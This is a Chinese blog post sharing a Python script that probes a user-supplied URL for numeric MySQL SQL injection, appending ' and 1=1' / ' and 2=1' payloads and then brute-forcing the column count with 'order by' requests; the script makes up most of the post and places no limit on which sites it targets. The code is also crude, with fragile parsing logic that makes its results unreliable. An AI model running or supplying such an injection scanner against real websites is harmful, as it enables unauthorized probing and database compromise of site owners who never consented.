• python打造一个Mysql数字类型注入脚本(1)


    前言:

    总是想写一个sql注入脚本,但是之前的那些都不行。

    这次做好了准备,然后嘿嘿嘿。

    准备:

    sql注入的基础知识

    熟悉怎么判断

    正文:

    思路概念图:

    这里我没有限制用户输入,不限制的话可能会 @&#@*#&@* = =

    代码:

    import requests
    from bs4 import BeautifulSoup
    import time
    import re
    import sys
    def user():
        wailtfor=input('请输入你要进行sql注入测试的url:')
        print('------开启第一重验证------')
        url="{}".format(wailtfor)
        headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36'}
        request=requests.get(url=url,headers=headers,timeout=6)
        if request.status_code != 200:
            print('[-]抱歉该url十分的不稳定,退出程序中......')
            time.sleep(1)
            sys.exit()
        else:
            print('[+]第一重验证已经完成,目标是稳定的')
            journal=open('journal.txt','w',encoding='utf-8')
            journal.write('{}是稳定的
    '.format(url))
            journal.write('下一步进行判断是否存在注入')
            journal.close()
    
        print('------开启第二重测试------')
    
        def ceshi():
            pay1 = '%20and%201=1'
            pay2 = '%20and%202=1'
            Testinjection1 = request.url + pay1
            Testinjection2=request.url+pay2
            print('-------尝试数字型注入------')
            print(Testinjection1)
            print(Testinjection2)
            Testg=requests.get(Testinjection1,headers=headers)
            print(Testg.headers)
            Testg2=requests.get(Testinjection2,headers=headers)
            print(Testg2.headers)
            if Testg.text != Testg2.text:
                print('[+]数字型注入成功,用到的payload:{},{}'.format(pay1, pay2))
                journal2 = open('journal.txt', 'a')
                journal2.write('数字型注入成功,用到的payload:{},{}'.format(pay1, pay2))
                journal2.close()
                print('------开始猜字段数------')
            elif Testg.headers != Testg2.headers:
                print('[+]数字型注入成功,用到的payload:{},{}'.format(pay1,pay2),'可能存在注入点')
                journal2=open('journal.txt','a')
                journal2.write('数字型注入成功,用到的payload:{},{}'.format(pay1,pay2))
                journal2.close()
                print('------开始猜字段数------')
            else:
                print('[-]数字型注入失败')
                print('[!]尝试字符型注入')
                sys.exit()
            a='ooo'
            for s in range(1,100):
                if a=='xxx':break
                orpay=url+'%20order%20by%20{}'.format(s)
                res=requests.get(orpay,headers=headers)
                ewe=res.content
                lk=re.finditer('mysql_fetch_array()',str(ewe))
                for p in lk:
                    print(str(p))
                    g='''<_sre.SRE_Match object; span=(232, 249), match='mysql_fetch_array'>'''
                    if str(p) == g:
                        print('字段数payload:', res.url)
                        dw = int(res.url[-1:])-1
                        print(type(dw))
                        print('字段数长度为:', dw)
                        a='xxx'
                    else:
                        print('字段数payload:',res.url)
                        dw=int(res.url[-1:])-1
                        print('字段数长度为:',dw)
                        a='xxx'
    
    
    
    
        ceshi()
    
    user()
    

      测试结果如下:

     代码还有很多不足,诺各位大佬有什么好的意见请多多留言。 = =

    最后送上一首歌:

  • 相关阅读:
    跨域请求剖析
    MongoDB 创建索引及其他
    MongoDB的常用操作总结
    Vue学习【第四篇】:Vue 之webpack打包工具的使用
    转载:官方Caffe-windows 配置与示例运行
    转载:基于HALCON的模板匹配方法总结
    机器视觉硬件相关
    opencv画出轮廓外接矩形
    转载:approxPolyDP函数
    转载:return *this和return this
  • 原文地址:https://www.cnblogs.com/haq5201314/p/8898626.html
Copyright © 2020-2023  润新知